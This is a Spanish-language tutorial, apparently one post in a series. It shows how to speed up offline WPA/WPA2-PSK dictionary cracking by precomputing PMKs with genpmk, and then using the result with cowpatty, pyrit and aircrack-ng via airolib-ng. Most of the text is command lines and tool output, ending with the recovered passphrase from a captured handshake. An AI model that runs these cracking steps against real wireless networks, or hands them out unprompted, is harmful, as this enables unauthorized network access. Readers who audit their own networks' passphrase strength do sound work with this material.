Una de las principales desventajas de realizar un ataque offline por diccionario es la cantidad de tiempo y de recursos que deben emplearse para conseguir crackear una clave WPA, la razón de esto es que todo el proceso de generación de la clave PSK con 256 bits debe realizarse una y otra vez para cada una de las palabras encontradas en el diccionario de claves, esto sin lugar a dudas puede consumir una gran cantidad de recursos en un ordenador que lo pueden dejar “inutilizable” mientras se realiza el ataque.

WPA/WPA2 el proceso de ataque por fuerza bruta es tan exigente en términos de recursos de CPU? Porque para cada clave contenida en el diccionario debe aplicarse el algoritmo PBKDF2 que como se recordará de publicaciones anteriores, es el responsable de la generación de la clave maestra PMK (comúnmente conocida como PSK) el algoritmo recibe como parámetros una serie entradas que son:

1. El passphrase (la clave del AP seleccionada por el administrador del router)

2. El SSID

3. La longitud de dicho SSID

4. Número de veces que el passphrase será codificado (hashed) 4096

5. La longitud de la clave PSK (256)

El algoritmo ejecuta un ciclo de 4096 repeticiones para el passphrase (en este caso, cada una de las palabras del diccionario de claves) para posteriormente generar una clave PSK con una longitud de 256 bits, es en este punto donde el proceso se hace realmente pesado, dado que este algoritmo debe ejecutarse muchas veces y cada ejecución provoca un alto consumo de CPU en la máquina del atacante. La solución? Precalcular las claves PSK partiendo del diccionario antes de realizar el ataque. Esta técnica permitirá conocer todas las claves PSK que pueden generarse con un diccionario de claves concreto en lugar de permitir que el algoritmo PBKDF2 se ejecute “al vuelo” para cada una de las palabras del diccionario, de esta forma, el ataque tiene un consumo de recursos (y de tiempo) muchísimo menor, todas estas claves precalculadas son almacenadas en un espacio de memoria que será rápidamente accedido para intentar ejecutar el proceso de instalación de clave en Supplicant y Authenticator (autenticación exitosa). Para llevar a cabo este proceso, puede utilizarse dos herramientas muy potentes y robustas: CowPatty (de la que ya se ha hablado en la publicación anterior) y Pyrit.

Generación de PMKs utilizando el diccionario de claves con CowPatty

Cuando se instala CowPatty, se cuenta con una herramienta bastante útil que permite la generación de un fichero con los hashes de cada clave PMK (PSK) que es posible obtener de un diccionario de claves con su respectivo SSID, esta utilidad es genpmk y su uso es realmente simple:

./genpmk genpmk 1.1 – WPA-PSK precomputation attack. <jwright@hasborg.com>

genpmk: Must specify a dictionary file with -f

Usage: genpmk [options]

 

-f Dictionary file

-d Output hash file

-s Network SSID

-h Print this help information and exit

-v Print verbose information (more -v for more verbosity)

-V Print program version and exit

 

After precomputing the hash file, run cowpatty with the -d argument.

 

./genpmk -f /home/adastra/Escritorio/dict -d /home/adastra/Escritorio/PMKsGenerated -s WLAN_7189 -v

genpmk 1.1 – WPA-PSK precomputation attack. <jwright@hasborg.com>

File /home/adastra/Escritorio/PMKsGenerated does not exist, creating.

Invalid passphrase length: hola (4).

Invalid passphrase length: sesamo (6).

Invalid passphrase length: 123456 (6).

Invalid passphrase length: 12346 (5).

Invalid passphrase length: daniel (6).

Invalid passphrase length: dasas (5).

Invalid passphrase length: asdas (5).

Invalid passphrase length: adastra (7).

Invalid passphrase length: peras (5).

Invalid passphrase length: uvas (4).

Invalid passphrase length: moras (5).

Invalid passphrase length: melones (7).

Invalid passphrase length: platano (7).

 

4 passphrases tested in 0.03 seconds: 120.33 passphrases/second

Las opciones de esta utilidad permiten declarar la ruta donde se encuentra el diccionario de claves, la ruta del fichero PCAP con el 4-way handshake, el nombre del SSID y el fichero donde se almacenarán las claves PMK (PSK). Además, esta utilidad descarta de forma automática aquellas claves que no tienen una longitud valida para la generación de la clave PMK, con el uso de la opción “-v” puede verse cuales son las palabras que son descartadas antes de intentar generar una clave PMK con dicha palabra.

Ahora bien, es posible utilizar este fichero generado utilizando nuevamente la utilidad CowPatty

./cowpatty -d PMKsGenerated -r wpa_psk_crack.cap -s WLAN_7189 cowpatty 4.6 – WPA-PSK dictionary attack. <jwright@hasborg.com>

 

Collected all necessary data to mount crack against WPA/PSK passphrase.

Starting dictionary attack. Please be patient.

 

The PSK is «123456789012345678«.

 

4 passphrases tested in 0.00 seconds: 29197.08 passphrases/second

Con la opción “-d” se ha especificado el fichero con las claves precalculadas generadas anteriormente con el comando “genpmk” obteniendo el mismo resultado (clave crackeada) que ejecutando el mismo comando con la opción “-f” que como se recordará, permite indicar la ruta donde se encuentra almacenado el diccionario de claves, sin embargo tardará mucho menos.

INSTALACIÓN Y USO DE PYRIT

Pyrit es una potente herramienta que permite la creación de bases de datos enormes para precalcular claves PSK explotando el poder computacional de muchas de las plataformas que se encuentran actualmente disponibles en el mercado, tales como Nvidia CUDA, OpenCL entre otras plataformas bastante conocidas. Su instalación es simple, solamente es necesario descargar la ultima versión disponible desde aquí: http://code.google.com/p/pyrit/downloads/list y posteriormente ejecutar los siguientes comandos de instalación:

>python setup.py build>python setup.py install

>pyrit

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com

This code is distributed under the GNU General Public License v3+

 

Usage: pyrit [options] command

 

Recognized options:

-b : Filters AccessPoint by BSSID

-e : Filters AccessPoint by ESSID

-h : Print help for a certain command

-i : Filename for input (‘-‘ is stdin)

-o : Filename for output (‘-‘ is stdout)

-r : Packet capture source in pcap-format

-u : URL of the storage-system to use

–all-handshakes : Use all handshakes instead of the best one

 

Recognized commands:

analyze : Analyze a packet-capture file

attack_batch : Attack a handshake with PMKs/passwords from the db

attack_cowpatty : Attack a handshake with PMKs from a cowpatty-file

attack_db : Attack a handshake with PMKs from the db

attack_passthrough : Attack a handshake with passwords from a file

batch : Batchprocess the database

benchmark : Determine performance of available cores

benchmark_long : Longer and more accurate version of benchmark (~10 minutes)

check_db : Check the database for errors

create_essid : Create a new ESSID

delete_essid : Delete a ESSID from the database

eval : Count the available passwords and matching results

export_cowpatty : Export results to a new cowpatty file

export_hashdb : Export results to an airolib database

export_passwords : Export passwords to a file

help : Print general help

import_passwords : Import passwords from a file-like source

import_unique_passwords : Import unique passwords from a file-like source

list_cores : List available cores

list_essids : List all ESSIDs but don’t count matching results

passthrough : Compute PMKs and write results to a file

relay : Relay a storage-url via RPC

selftest : Test hardware to ensure it computes correct results

serve : Serve local hardware to other Pyrit clients

strip : Strip packet-capture files to the relevant packets

stripLive : Capture relevant packets from a live capture-source

verify : Verify 10% of the results by recomputation

Con estos sencillos comandos es posible instalar Pyrit y tal como puede apreciarse, cuenta con un amplio conjunto de opciones que permiten personalizar su comportamiento, estas opciones se analizarán en profundidad en la próxima publicación, en esta solamente se indicará su uso para poder utilizar Pyrit con otras herramientas (en este caso aircrack-ng y cowpatty) para acelerar los ataques de fuerza bruta utilizando aircrack-ng.

En el caso de CowPatty es simple, solamente es necesario indicar a Pyrit la ubicación del fichero con las PMK generadas por CowPatty (tal y como se ha indicado anteriormente, con el uso de la utilidad gempmk) y el fichero de captura PCAP con el 4-way handshake generado.

>pyrit -i PMKsGenerated -r wpa_psk_crack.cap attack_cowpatty Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com

This code is distributed under the GNU General Public License v3+

 

Parsing file ‘/home/adastra/Escritorio/wpa_psk_crack.cap’ (1/1)…

Parsed 5 packets (5 802.11-packets), got 1 AP(s)

 

Picked AccessPoint 64:68:0c:45:71:8b automatically…

Tried 4 PMKs so far; 2493 PMKs per second.

 

The password is ‘123456789012345678‘.

El ultimo parámetro indicando a Pyrit indica el modo de ataque, que como puede verse tiene el valor de attack_cowpatty con este modo, se le indica a Pyrit que el fichero de entrada suministrado con la opción -i es un fichero con PMK generadas por CowPatty

En el caso de aircrack-ng es necesario ejecutar una utilidad adicional incluida en la suite de aircrack-ng llamada airolib-ng que permite leer el contenido de las claves PMK generadas anteriormente por CowPatty y almacenarlas en una base de datos SQLite, evidentemente es necesario que se cuente con dicha base de datos instalada en la máquina desde donde se ejecuta aircrack-ng, además también es necesario realizar los siguientes ajustes en la instalación de aircrack-ng

  1. Es necesario en primer lugar instalar la base de datos SQLite en el sistema con todas sus dependencias.
    >apt-get install sqlite3>apt-get install sqlite3-dev
  2. Tal como se ha indicado en la primera publicación de esta serie, es necesario compilar la utilidad aircrack-ng desde linea de comandos usando la utilidad “make” sin embargo en el proceso de instalación por defecto, no se instala de forma automática la utilidad airolib-ng por lo tanto, es necesario re-instalar aircrack-ng con soporte a airolib-ng (en el caso de que se trate de una instalación desde cero, los comandos siguientes también aplican)
    >wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz>tar -zxvf aircrack-ng-1.1.tar.gz

    >cd aircrack-ng-1.1

    >make clean;./configure;make sqlite=true;make sqlite=true install

    Con los pasos anteriores, la utilidad airolib-ng se encontrará instalada en el sistema.

Con los ajustes anteriores ahora es posible utilizar la airolib-ng sin problemas

>airolib-ng  

Airolib-ng 1.1 – (C) 2007, 2008, 2009 ebfe

http://www.aircrack-ng.org

 

Usage: airolib-ng <database> <operation> [options]

 

Operations:

 

–stats : Output information about the database.

–sql <sql> : Execute specified SQL statement.

–clean [all] : Clean the database from old junk. ‘all’ will also

reduce filesize if possible and run an integrity check.

–batch : Start batch-processing all combinations of ESSIDs

and passwords.

–verify [all] : Verify a set of randomly chosen PMKs.

If ‘all’ is given, all invalid PMK will be deleted.

 

–import [essid|passwd] <file> :

Import a text file as a list of ESSIDs or passwords.

–import cowpatty <file> :

Import a cowpatty file.

 

–export cowpatty <essid> <file> :

Export to a cowpatty file.

Las opciones anteriores enseñan los posibles modos que pueden ser empleados para ejecutar airolib-ng, en este caso concreto es de especial interés la opción —import cowpatty dado que permitirá importar en la base de datos, las claves PMK generadas por CowPatty (recordar, con la utilidad genpmk)

>airolib-ng cowpatty-db –import cowpatty PMKsGenerated Database <cowpatty-db> does not already exist, creating it…

Database <cowpatty-db> successfully created

Reading header…

Reading…

Updating references…

Writing…

Con el comando anterior, se ha podido crear correctamente una base de datos SQLite con el nombre “cowpatty-db” y que puede ser utilizada y manipulada fácilmente utilizando lenguaje SQL y comandos estándar desde la consola de sqlite3

>sqlite3 cowpatty-db SQLite version 3.7.3

Enter «.help» for instructions

Enter SQL statements terminated with a «;»

sqlite> .tables

essid passwd pmk workbench

sqlite> select * from essid;

1|WLAN_7189|64

 

…..

 

Como puede verse, es simple utilizar sqlite3 desde linea de comandos, solamente es necesario conocer un poco los comandos disponibles que pueden listar con la opción .help y tener conocimientos sobre SQL.

Ahora que se tiene la base de datos generada por airolib-ng es posible utilizar el fichero de datos generado por dicha herramienta en la ejecución del comando aircrack-ng para ejecutar el ataque con las PMK precalculadas.

>aircrack-ng -r cowpatty-db wpa_psk_crack.capOpening wpa_psk_crack.cap

Read 19 packets.

 

# BSSID ESSID Encryption

 

1 64:68:0C:45:71:8B WLAN_7189 WPA (1 handshake)

 

Choosing first network as target.

 

Opening wpa_psk_crack.cap

Reading packets, please wait…

 

 

 

 

 

 

Aircrack-ng 1.1

 

 

[00:00:00] 3 keys tested (2431.12 k/s)

 

 

Current passphrase: 123456789012345678

KEY FOUND! [ 123456789012345678 ]

 

Master Key : 61 0E C2 60 0E 7E A4 8A B1 8D 15 49 3C B2 7D 12

44 33 9C 34 26 5C 5B FE 42 83 A9 D3 CC F0 25 EE

 

Transient Key : 24 DE 1F 4C 3B FD 33 6F 79 54 C7 55 15 31 6B 14

09 4E 88 2A 4F 94 6B CA 33 46 A7 A7 8E F0 36 D2

4F 9A F5 B1 02 6A F9 66 3E FF E0 00 97 43 01 20

EAPOL HMAC : BB 63 A6 B3 0E 61 79 69 C9 3F B5 CA AE F1 FF 5A

 

 

 

Quitting aircrack-ng…

Como puede apreciarse, se ha podido crackear la clave utilizando el fichero con las PMKs precalculadas utilizando aircrack-ng.